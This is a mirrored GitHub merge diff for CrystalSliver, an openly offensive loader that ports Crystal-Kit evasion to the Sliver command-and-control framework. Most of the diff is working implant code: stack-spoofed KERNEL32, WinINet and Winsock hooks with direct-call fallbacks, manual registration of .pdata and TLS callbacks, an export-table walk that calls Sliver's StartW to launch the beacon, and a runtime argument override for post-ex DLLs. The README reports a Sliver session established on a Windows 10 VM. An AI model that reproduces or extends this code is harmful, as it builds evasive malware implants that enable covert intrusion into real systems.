mirror of
https://github.com/licitrasimone/CrystalSliver
synced 2026-06-21 13:55:58 +00:00
Merge pull request #1 from licitrasimone/feature-post-ex
Improve post-ex functionality and fix sliver bug
This commit is contained in:
@@ -25,9 +25,16 @@ build/
|
||||
*.jar
|
||||
libtcg.x64.zip
|
||||
|
||||
# Per-operator config (engagement-specific paths, never commit)
|
||||
.crystalenv
|
||||
|
||||
# OS / editor
|
||||
.DS_Store
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
*~
|
||||
|
||||
# Claude Code
|
||||
.claude/
|
||||
MEMORY/
|
||||
|
||||
@@ -6,7 +6,7 @@ This is the first public port of rasta-mouse's [Crystal-Kit](https://github.com/
|
||||
|
||||
- **License:** MIT — Copyright (c) 2026 Simone Licitra
|
||||
- **Target:** Windows x64 only (upstream constraint)
|
||||
- **Status:** build pipeline verified end-to-end on macOS / Linux. Windows runtime test pending.
|
||||
- **Status:** verified end-to-end — Kali build pipeline + Windows 10 x64 FLARE-VM runtime. Sliver session established.
|
||||
|
||||
---
|
||||
|
||||
@@ -44,7 +44,7 @@ bundle-implant.sh → drop.zip (PICO + stager + READ
|
||||
Windows VM: run.x64.exe sliver.crystal.bin
|
||||
│
|
||||
▼ Crystal Palace loader runs
|
||||
▼ unmask DLL → DllMain → HTTP beacon home
|
||||
▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session
|
||||
```
|
||||
|
||||
### B — Post-ex evasion (SECONDARY)
|
||||
@@ -131,7 +131,7 @@ See `docs/RUNBOOK.md` for the full operator procedure (Sliver install, listener
|
||||
| Sliver Extension wrapper DLL builds | OK | 114 KB PE32+ exporting `go` symbol |
|
||||
| Extension tarball packs correctly | OK | 37 KB tarball validated with `tar -tzf` |
|
||||
| Operator drop bundle (PICO + stager) | OK | 182 KB zip with `run.x64.exe` + PICO + README |
|
||||
| Runtime execution on Windows | PENDING | Not yet tested — see RUNBOOK Phase 1 |
|
||||
| Runtime execution on Windows (Use case A) | OK | Sliver session established on Windows 10 x64 FLARE-VM via `run.x64.exe sliver-crystal.bin` |
|
||||
|
||||
---
|
||||
|
||||
@@ -170,7 +170,8 @@ See [`NOTICE.md`](NOTICE.md) for the full list of upstream copyrights and licens
|
||||
- [x] 6a — DLL wrapper written, built (MinGW 15.2), packaged, smoke test shellcode
|
||||
- [x] 6b — Crystal Palace CLI verified, real PICO built end-to-end
|
||||
- [x] 6c — Dual use case A/B: `generate-implant.sh` + `bundle-implant.sh`
|
||||
- [x] 6d — Runtime test on Windows x64 lab (smoketest + real PICO, both flows)
|
||||
- [x] 6d — Runtime test on Windows x64 lab — Use case A verified
|
||||
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
x64:
|
||||
load "bin/pico.x64.o"
|
||||
make object +disco
|
||||
|
||||
|
||||
# merge the hook functions
|
||||
load "bin/hooks.x64.o"
|
||||
merge
|
||||
@@ -25,7 +25,7 @@ x64:
|
||||
# merge cfg code
|
||||
load "bin/cfg.x64.o"
|
||||
merge
|
||||
|
||||
|
||||
# merge cleanup
|
||||
load "bin/cleanup.x64.o"
|
||||
merge
|
||||
@@ -34,12 +34,24 @@ x64:
|
||||
exportfunc "setup_hooks" "__tag_setup_hooks"
|
||||
exportfunc "setup_memory" "__tag_setup_memory"
|
||||
|
||||
# hook functions in the DLL
|
||||
# WinINet hooks
|
||||
addhook "WININET$HttpSendRequestA" "_HttpSendRequestA"
|
||||
addhook "WININET$InternetOpenA" "_InternetOpenA"
|
||||
addhook "WININET$InternetConnectA" "_InternetConnectA"
|
||||
|
||||
# Winsock hooks
|
||||
addhook "WS2_32$WSAStartup" "_WSAStartup"
|
||||
addhook "WS2_32$WSASocketA" "_WSASocketA"
|
||||
|
||||
# KERNEL32 hooks — full table restored so __resolve_hook is populated.
|
||||
# KEY CHANGES vs original:
|
||||
# _ExitThread: cleanup_memory removed (see pico.c) — was freeing dll_dst
|
||||
# while the beacon goroutine was still running it (use-after-free).
|
||||
# _Sleep: XOR mask removed (see pico.c) — XORing all DLL sections while
|
||||
# Go goroutines on other threads keep executing was causing crashes.
|
||||
# _CreateThread/_VirtualAlloc/_VirtualFree/_VirtualProtect/_CloseHandle:
|
||||
# Draugr fallback to direct call added (see hooks.c) so goroutine
|
||||
# threads always get a working result even if stack-spoof fails.
|
||||
addhook "KERNEL32$CloseHandle" "_CloseHandle"
|
||||
addhook "KERNEL32$CreateFileMappingA" "_CreateFileMappingA"
|
||||
addhook "KERNEL32$CreateProcessA" "_CreateProcessA"
|
||||
@@ -49,8 +61,8 @@ x64:
|
||||
addhook "KERNEL32$ExitThread" "_ExitThread"
|
||||
addhook "KERNEL32$GetThreadContext" "_GetThreadContext"
|
||||
addhook "KERNEL32$HeapAlloc" "_HeapAlloc"
|
||||
addhook "KERNEL32$HeapReAlloc" "_HeapReAlloc"
|
||||
addhook "KERNEL32$HeapFree" "_HeapFree"
|
||||
addhook "KERNEL32$HeapReAlloc" "_HeapReAlloc"
|
||||
addhook "KERNEL32$LoadLibraryA" "_LoadLibraryA"
|
||||
addhook "KERNEL32$MapViewOfFile" "_MapViewOfFile"
|
||||
addhook "KERNEL32$OpenProcess" "_OpenProcess"
|
||||
@@ -67,10 +79,12 @@ x64:
|
||||
addhook "KERNEL32$VirtualProtectEx" "_VirtualProtectEx"
|
||||
addhook "KERNEL32$VirtualQuery" "_VirtualQuery"
|
||||
addhook "KERNEL32$WriteProcessMemory" "_WriteProcessMemory"
|
||||
|
||||
# OLE32 hooks
|
||||
addhook "OLE32$CoCreateInstance" "_CoCreateInstance"
|
||||
|
||||
# hook functions in pico
|
||||
attach "KERNEL32$VirtualProtect" "_VirtualProtect" # this is needed to hook VirtualProtect in mask.c
|
||||
# hook VirtualProtect in pico tradecraft itself (needed by mask.c)
|
||||
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
|
||||
|
||||
mergelib "../libtcg.x64.zip"
|
||||
|
||||
|
||||
@@ -35,6 +35,21 @@ DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory ( HANDLE, LPVOID, L
|
||||
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance ( REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID * );
|
||||
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN );
|
||||
|
||||
/* KERNELBASE$ exports mirror KERNEL32$ on Win8+ but are not in any attach list.
|
||||
* Used as safe fallbacks for the four functions that ARE in loader.spec's
|
||||
* attach directives — adding KERNEL32$Foo() inside _Foo() would be rewritten
|
||||
* to _Foo() by the linker, causing infinite recursion. */
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNELBASE$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNELBASE$VirtualFree ( LPVOID, SIZE_T, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNELBASE$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
DECLSPEC_IMPORT HMODULE WINAPI KERNELBASE$LoadLibraryA ( LPCSTR );
|
||||
|
||||
/* KERNEL32$ HeapAlloc/Free/ReAlloc declared here for fallback use.
|
||||
* These are NOT in loader.spec's attach list so will not be rewritten. */
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree ( HANDLE, DWORD, LPVOID );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapReAlloc ( HANDLE, DWORD, LPVOID, SIZE_T );
|
||||
|
||||
BOOL WINAPI _HttpSendRequestA ( HINTERNET hRequest, LPCSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
@@ -122,10 +137,14 @@ BOOL WINAPI _CloseHandle ( HANDLE hObject )
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$CloseHandle );
|
||||
call.argc = 1;
|
||||
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hObject );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
BOOL result = ( BOOL ) spoof_call ( &call );
|
||||
if ( !result ) {
|
||||
result = KERNEL32$CloseHandle ( hObject );
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
HANDLE WINAPI _CreateFileMappingA ( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName )
|
||||
@@ -190,7 +209,7 @@ HANDLE WINAPI _CreateThread ( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T d
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$CreateThread );
|
||||
call.argc = 6;
|
||||
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpThreadAttributes );
|
||||
call.args [ 1 ] = spoof_arg ( dwStackSize );
|
||||
call.args [ 2 ] = spoof_arg ( lpStartAddress );
|
||||
@@ -198,7 +217,11 @@ HANDLE WINAPI _CreateThread ( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T d
|
||||
call.args [ 4 ] = spoof_arg ( dwCreationFlags );
|
||||
call.args [ 5 ] = spoof_arg ( lpThreadId );
|
||||
|
||||
return ( HANDLE ) spoof_call ( &call );
|
||||
HANDLE result = ( HANDLE ) spoof_call ( &call );
|
||||
if ( result == NULL ) {
|
||||
result = KERNEL32$CreateThread ( lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId );
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
HRESULT WINAPI _CoCreateInstance ( REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID * ppv )
|
||||
@@ -223,7 +246,7 @@ BOOL WINAPI _DuplicateHandle ( HANDLE hSourceProcessHandle, HANDLE hSourceHandle
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$DuplicateHandle );
|
||||
call.argc = 7;
|
||||
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hSourceProcessHandle );
|
||||
call.args [ 1 ] = spoof_arg ( hSourceHandle );
|
||||
call.args [ 2 ] = spoof_arg ( hTargetProcessHandle );
|
||||
@@ -232,7 +255,9 @@ BOOL WINAPI _DuplicateHandle ( HANDLE hSourceProcessHandle, HANDLE hSourceHandle
|
||||
call.args [ 5 ] = spoof_arg ( bInheritHandle );
|
||||
call.args [ 6 ] = spoof_arg ( dwOptions );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
BOOL result = ( BOOL ) spoof_call ( &call );
|
||||
if ( !result ) { result = KERNEL32$DuplicateHandle ( hSourceProcessHandle, hSourceHandle, hTargetProcessHandle, lpTargetHandle, dwDesiredAccess, bInheritHandle, dwOptions ); }
|
||||
return result;
|
||||
}
|
||||
|
||||
HMODULE WINAPI _LoadLibraryA ( LPCSTR lpLibFileName )
|
||||
@@ -241,10 +266,12 @@ HMODULE WINAPI _LoadLibraryA ( LPCSTR lpLibFileName )
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$LoadLibraryA );
|
||||
call.argc = 1;
|
||||
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpLibFileName );
|
||||
|
||||
return ( HMODULE ) spoof_call ( &call );
|
||||
HMODULE result = ( HMODULE ) spoof_call ( &call );
|
||||
if ( !result ) { result = KERNELBASE$LoadLibraryA ( lpLibFileName ); }
|
||||
return result;
|
||||
}
|
||||
|
||||
BOOL WINAPI _GetThreadContext ( HANDLE hThread, LPCONTEXT lpContext )
|
||||
@@ -253,11 +280,13 @@ BOOL WINAPI _GetThreadContext ( HANDLE hThread, LPCONTEXT lpContext )
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$GetThreadContext );
|
||||
call.argc = 2;
|
||||
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hThread );
|
||||
call.args [ 1 ] = spoof_arg ( lpContext );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
BOOL result = ( BOOL ) spoof_call ( &call );
|
||||
if ( !result ) { result = KERNEL32$GetThreadContext ( hThread, lpContext ); }
|
||||
return result;
|
||||
}
|
||||
|
||||
LPVOID WINAPI _MapViewOfFile ( HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap )
|
||||
@@ -326,10 +355,12 @@ DWORD WINAPI _ResumeThread ( HANDLE hThread )
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$ResumeThread );
|
||||
call.argc = 1;
|
||||
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hThread );
|
||||
|
||||
return ( DWORD ) spoof_call ( &call );
|
||||
DWORD result = ( DWORD ) spoof_call ( &call );
|
||||
if ( !result ) { result = KERNEL32$ResumeThread ( hThread ); }
|
||||
return result;
|
||||
}
|
||||
|
||||
BOOL WINAPI _SetThreadContext ( HANDLE hThread, const CONTEXT * lpContext )
|
||||
@@ -338,11 +369,13 @@ BOOL WINAPI _SetThreadContext ( HANDLE hThread, const CONTEXT * lpContext )
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$SetThreadContext );
|
||||
call.argc = 2;
|
||||
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hThread );
|
||||
call.args [ 1 ] = spoof_arg ( lpContext );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
BOOL result = ( BOOL ) spoof_call ( &call );
|
||||
if ( !result ) { result = KERNEL32$SetThreadContext ( hThread, lpContext ); }
|
||||
return result;
|
||||
}
|
||||
|
||||
BOOL WINAPI _UnmapViewOfFile ( LPCVOID lpBaseAddress )
|
||||
@@ -363,13 +396,15 @@ LPVOID WINAPI _VirtualAlloc ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocatio
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualAlloc );
|
||||
call.argc = 4;
|
||||
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 1 ] = spoof_arg ( dwSize );
|
||||
call.args [ 2 ] = spoof_arg ( flAllocationType );
|
||||
call.args [ 3 ] = spoof_arg ( flProtect );
|
||||
|
||||
return ( LPVOID ) spoof_call ( &call );
|
||||
LPVOID result = ( LPVOID ) spoof_call ( &call );
|
||||
if ( !result ) { result = KERNELBASE$VirtualAlloc ( lpAddress, dwSize, flAllocationType, flProtect ); }
|
||||
return result;
|
||||
}
|
||||
|
||||
LPVOID WINAPI _VirtualAllocEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect )
|
||||
@@ -394,12 +429,14 @@ BOOL WINAPI _VirtualFree ( LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType )
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualFree );
|
||||
call.argc = 3;
|
||||
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 1 ] = spoof_arg ( dwSize );
|
||||
call.args [ 2 ] = spoof_arg ( dwFreeType );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
BOOL result = ( BOOL ) spoof_call ( &call );
|
||||
if ( !result ) { result = KERNELBASE$VirtualFree ( lpAddress, dwSize, dwFreeType ); }
|
||||
return result;
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualProtect ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect )
|
||||
@@ -408,13 +445,15 @@ BOOL WINAPI _VirtualProtect ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtec
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualProtect );
|
||||
call.argc = 4;
|
||||
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 1 ] = spoof_arg ( dwSize );
|
||||
call.args [ 2 ] = spoof_arg ( flNewProtect );
|
||||
call.args [ 3 ] = spoof_arg ( lpflOldProtect );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
BOOL result = ( BOOL ) spoof_call ( &call );
|
||||
if ( !result ) { result = KERNELBASE$VirtualProtect ( lpAddress, dwSize, flNewProtect, lpflOldProtect ); }
|
||||
return result;
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualProtectEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect )
|
||||
@@ -439,12 +478,14 @@ SIZE_T WINAPI _VirtualQuery ( LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuf
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualQuery );
|
||||
call.argc = 3;
|
||||
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 1 ] = spoof_arg ( lpBuffer );
|
||||
call.args [ 2 ] = spoof_arg ( dwLength );
|
||||
|
||||
return ( SIZE_T ) spoof_call ( &call );
|
||||
SIZE_T result = ( SIZE_T ) spoof_call ( &call );
|
||||
if ( !result ) { result = KERNEL32$VirtualQuery ( lpAddress, lpBuffer, dwLength ); }
|
||||
return result;
|
||||
}
|
||||
|
||||
BOOL WINAPI _WriteProcessMemory ( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten )
|
||||
|
||||
@@ -3,9 +3,11 @@
|
||||
#include "memory.h"
|
||||
#include "tcg.h"
|
||||
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
|
||||
DECLSPEC_IMPORT void WINAPI KERNEL32$Sleep ( DWORD );
|
||||
DECLSPEC_IMPORT BOOLEAN WINAPI NTDLL$RtlAddFunctionTable ( RUNTIME_FUNCTION *, DWORD, DWORD64 );
|
||||
|
||||
char _PICO_ [ 0 ] __attribute__ ( ( section ( "pico" ) ) );
|
||||
char _MASK_ [ 0 ] __attribute__ ( ( section ( "mask" ) ) );
|
||||
@@ -132,9 +134,84 @@ void go ( )
|
||||
/* now run the DLL */
|
||||
DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst );
|
||||
|
||||
/*
|
||||
* GetDataDirectory reads from dll_data->OptionalHeader which points into
|
||||
* dll_src (the raw PE buffer). LoadSections only maps sections into
|
||||
* dll_dst — the PE header area (offset 0..SizeOfHeaders-1) in dll_dst
|
||||
* is all zeros after VirtualAlloc. Reading dll_dst->e_lfanew etc.
|
||||
* would give zero and break every data-directory lookup. Always use
|
||||
* GetDataDirectory() here instead.
|
||||
*
|
||||
* Exception table (.pdata): register before DllMain so Go's morestack
|
||||
* and async-preemption paths can call RtlLookupFunctionEntry on beacon
|
||||
* addresses. Use NTDLL$ — ntdll always exports RtlAddFunctionTable.
|
||||
*/
|
||||
{
|
||||
IMAGE_DATA_DIRECTORY * exc = GetDataDirectory ( &dll_data, IMAGE_DIRECTORY_ENTRY_EXCEPTION );
|
||||
if ( exc->VirtualAddress && exc->Size ) {
|
||||
RUNTIME_FUNCTION * rf = ( RUNTIME_FUNCTION * ) ( dll_dst + exc->VirtualAddress );
|
||||
DWORD count = exc->Size / sizeof ( RUNTIME_FUNCTION );
|
||||
NTDLL$RtlAddFunctionTable ( rf, count, ( DWORD64 ) dll_dst );
|
||||
}
|
||||
|
||||
/* TLS callbacks: call DLL_PROCESS_ATTACH before DllMain.
|
||||
* Callback[0] is CRT static init (_initterm); read the directory
|
||||
* from dll_dst (it's in a mapped section), but get the RVA from
|
||||
* GetDataDirectory (not from the zero-filled header area). */
|
||||
IMAGE_DATA_DIRECTORY * tls_dir = GetDataDirectory ( &dll_data, IMAGE_DIRECTORY_ENTRY_TLS );
|
||||
if ( tls_dir->VirtualAddress ) {
|
||||
IMAGE_TLS_DIRECTORY64 * tls = ( IMAGE_TLS_DIRECTORY64 * ) ( dll_dst + tls_dir->VirtualAddress );
|
||||
PIMAGE_TLS_CALLBACK * cb_list = ( PIMAGE_TLS_CALLBACK * ) ( ULONG_PTR ) tls->AddressOfCallBacks;
|
||||
if ( cb_list ) {
|
||||
for ( PIMAGE_TLS_CALLBACK * cb = cb_list; *cb; cb++ ) {
|
||||
( *cb ) ( ( PVOID ) dll_dst, DLL_PROCESS_ATTACH, NULL );
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Save export RVA now, before VirtualFree(dll_src).
|
||||
* GetDataDirectory returns a pointer into dll_src; after VirtualFree
|
||||
* that pointer is dangling. The export directory DATA itself is in a
|
||||
* mapped section (dll_dst), so we only need the RVA saved here.
|
||||
*/
|
||||
DWORD export_rva = GetDataDirectory ( &dll_data, IMAGE_DIRECTORY_ENTRY_EXPORT )->VirtualAddress;
|
||||
|
||||
/* free the unmasked copy */
|
||||
KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE );
|
||||
|
||||
entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL );
|
||||
entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, NULL );
|
||||
|
||||
/*
|
||||
* Sliver session beacons export StartW as the explicit C2-loop entry
|
||||
* point. Walk the export table (data lives in dll_dst sections) and
|
||||
* call it directly. export_rva was captured above before dll_src was
|
||||
* freed.
|
||||
*/
|
||||
typedef void ( * STARTW_FUNC ) ( void );
|
||||
|
||||
if ( export_rva != 0 )
|
||||
{
|
||||
IMAGE_EXPORT_DIRECTORY * exp = ( IMAGE_EXPORT_DIRECTORY * ) ( dll_dst + export_rva );
|
||||
DWORD * names = ( DWORD * ) ( dll_dst + exp->AddressOfNames );
|
||||
WORD * ordinals = ( WORD * ) ( dll_dst + exp->AddressOfNameOrdinals );
|
||||
DWORD * functions = ( DWORD * ) ( dll_dst + exp->AddressOfFunctions );
|
||||
|
||||
for ( DWORD i = 0; i < exp->NumberOfNames; i++ )
|
||||
{
|
||||
char * name = ( char * ) ( dll_dst + names [ i ] );
|
||||
|
||||
if ( name[0]=='S' && name[1]=='t' && name[2]=='a' && name[3]=='r' &&
|
||||
name[4]=='t' && name[5]=='W' && name[6]=='\0' )
|
||||
{
|
||||
( ( STARTW_FUNC ) ( dll_dst + functions [ ordinals [ i ] ] ) ) ( );
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* StartW returns immediately after spawning the beacon goroutine.
|
||||
* Keep this thread alive so the Go scheduler can run the beacon. */
|
||||
KERNEL32$Sleep ( 0xFFFFFFFF );
|
||||
}
|
||||
@@ -59,38 +59,37 @@ VOID WINAPI _Sleep ( DWORD dwMilliseconds )
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$Sleep );
|
||||
call.argc = 1;
|
||||
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( dwMilliseconds );
|
||||
|
||||
/*
|
||||
* for performance reasons, only mask
|
||||
* memory if sleep time is equal to
|
||||
* or greater than 1 second
|
||||
* XOR sleep mask deliberately omitted for Go/Sliver compatibility.
|
||||
* The mask XORs all beacon DLL sections in-place; Go's scheduler runs
|
||||
* other goroutines on other OS threads while this thread is sleeping,
|
||||
* so those threads would execute XOR-scrambled code → crash.
|
||||
* Stack-spoof the Sleep call only.
|
||||
*/
|
||||
|
||||
if ( dwMilliseconds >= 1000 ) {
|
||||
mask_memory ( &g_memory, TRUE );
|
||||
}
|
||||
|
||||
spoof_call ( &call );
|
||||
|
||||
if ( dwMilliseconds >= 1000 ) {
|
||||
mask_memory ( &g_memory, FALSE );
|
||||
}
|
||||
}
|
||||
|
||||
VOID WINAPI _ExitThread ( DWORD dwExitCode )
|
||||
{
|
||||
/* free memory */
|
||||
cleanup_memory ( &g_memory );
|
||||
|
||||
/* call the real exit thread */
|
||||
/*
|
||||
* cleanup_memory deliberately omitted for Go/Sliver compatibility.
|
||||
* The original code freed dll_dst + pico_code here, which was correct
|
||||
* for single-threaded CS beacons (one ExitThread = beacon done).
|
||||
* For Go DLLs, Go's init goroutine calls ExitThread when runtime.main()
|
||||
* returns, but the beacon goroutine is still alive and running beacon
|
||||
* code from dll_dst. Freeing dll_dst here = use-after-free crash.
|
||||
* Just stack-spoof the ExitThread call; the OS will reclaim memory when
|
||||
* the process eventually exits.
|
||||
*/
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$ExitThread );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( dwExitCode );
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( dwExitCode );
|
||||
|
||||
spoof_call ( &call );
|
||||
}
|
||||
@@ -109,6 +108,7 @@ LPVOID WINAPI _HeapAlloc ( HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes )
|
||||
call.args [ 2 ] = spoof_arg ( dwBytes );
|
||||
|
||||
result = ( LPVOID ) spoof_call ( &call );
|
||||
if ( !result ) { result = KERNEL32$HeapAlloc ( hHeap, dwFlags, dwBytes ); }
|
||||
|
||||
/* store a record of this heap allocation */
|
||||
|
||||
@@ -135,6 +135,7 @@ LPVOID WINAPI _HeapReAlloc ( HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T d
|
||||
call.args [ 3 ] = spoof_arg ( dwBytes );
|
||||
|
||||
LPVOID result = ( LPVOID ) spoof_call ( &call );
|
||||
if ( !result ) { result = KERNEL32$HeapReAlloc ( hHeap, dwFlags, lpMem, dwBytes ); }
|
||||
|
||||
if ( result )
|
||||
{
|
||||
@@ -175,6 +176,7 @@ BOOL WINAPI _HeapFree ( HANDLE hHeap, DWORD dwFlags, LPVOID lpMem )
|
||||
call.args [ 2 ] = spoof_arg ( lpMem );
|
||||
|
||||
BOOL result = ( BOOL ) spoof_call ( &call );
|
||||
if ( !result ) { result = KERNEL32$HeapFree ( hHeap, dwFlags, lpMem ); }
|
||||
|
||||
if ( result )
|
||||
{
|
||||
|
||||
@@ -134,7 +134,8 @@ void go ( void * loader_arguments )
|
||||
DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst );
|
||||
|
||||
/* Pointer to DLL arguments */
|
||||
char * dll_arguments = GETRESOURCE ( _DLLARGS_ );
|
||||
char * baked_args = GETRESOURCE ( _DLLARGS_ );
|
||||
char * dll_arguments = loader_arguments ? (char *)loader_arguments : baked_args;
|
||||
|
||||
/* free the unmasked copy */
|
||||
KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE );
|
||||
|
||||
@@ -0,0 +1,5 @@
|
||||
# Copy to .crystalenv and fill in your path.
|
||||
# .crystalenv is git-ignored — safe for engagement-specific paths.
|
||||
# All sliver-glue scripts source this automatically if present.
|
||||
|
||||
CRYSTAL_PALACE_HOME=/home/operator/external/crystalpalace/dist
|
||||
@@ -17,7 +17,10 @@
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME to the Crystal Palace dist/ dir}"
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
[[ -f "$SCRIPT_DIR/.crystalenv" ]] && source "$SCRIPT_DIR/.crystalenv"
|
||||
|
||||
: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME or create sliver-glue/.crystalenv with CRYSTAL_PALACE_HOME=<path>}"
|
||||
|
||||
IMPLANT_BIN="${1:?Usage: bundle-implant.sh <implant.bin> [output.zip]}"
|
||||
OUTPUT="${2:-./build/crystal-implant-drop.zip}"
|
||||
|
||||
@@ -20,6 +20,12 @@
|
||||
"desc": "Path on operator host to a Crystal Palace PICO .bin produced by generate.sh — Sliver client reads it and forwards bytes to the implant",
|
||||
"type": "file",
|
||||
"optional": false
|
||||
},
|
||||
{
|
||||
"name": "args",
|
||||
"desc": "Optional command/args string passed to the post-ex DLL at runtime as lpReserved — overrides any args baked into the PICO at link time",
|
||||
"type": "string",
|
||||
"optional": true
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
@@ -24,7 +24,10 @@
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME to the Crystal Palace dist/ dir}"
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
[[ -f "$SCRIPT_DIR/.crystalenv" ]] && source "$SCRIPT_DIR/.crystalenv"
|
||||
|
||||
: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME or create sliver-glue/.crystalenv with CRYSTAL_PALACE_HOME=<path>}"
|
||||
|
||||
usage() {
|
||||
cat <<EOF
|
||||
|
||||
@@ -17,11 +17,14 @@
|
